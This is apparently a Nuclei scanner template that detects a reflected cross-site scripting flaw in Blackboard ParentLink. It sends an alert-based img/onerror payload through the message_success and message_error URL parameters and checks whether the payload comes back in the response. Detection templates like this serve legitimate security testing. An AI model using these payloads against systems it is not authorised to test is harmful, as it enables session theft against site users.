id: parentlink-xss

info:
  name: Blackboard - Cross-Site Scripting
  author: r3naissance
  severity: high
  description: Blackboard contains a cross-site scripting vulnerability. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://help.blackboard.com/Community_Engagement/Administrator/Release_Notes
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79
  metadata:
    max-request: 2
  tags: blackboard,parentlink,xss

http:
  - method: GET
    path:
      - '{{BaseURL}}/main/blank?message_success=%3Cimg%20src%3Dc%20onerror%3Dalert(8675309)%3E'
      - '{{BaseURL}}/main/blank?message_error=%3Cimg%20src%3Dc%20onerror%3Dalert(8675309)%3E'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '<img src=c onerror=alert(8675309)>'
        part: body

      - type: word
        words:
          - "text/html"
        part: header

      - type: status
        status:
          - 200
# digest: 4a0a00473045022036f0211dbd81e940cc14a52c3ca0b723432d6700ea46602d7ff72e030bef5f3b022100fc6a814cb420bd768dac6f6937b65746e239bebc1922a65691626efee4017587:922c64590222798bb761d5b6d8e72950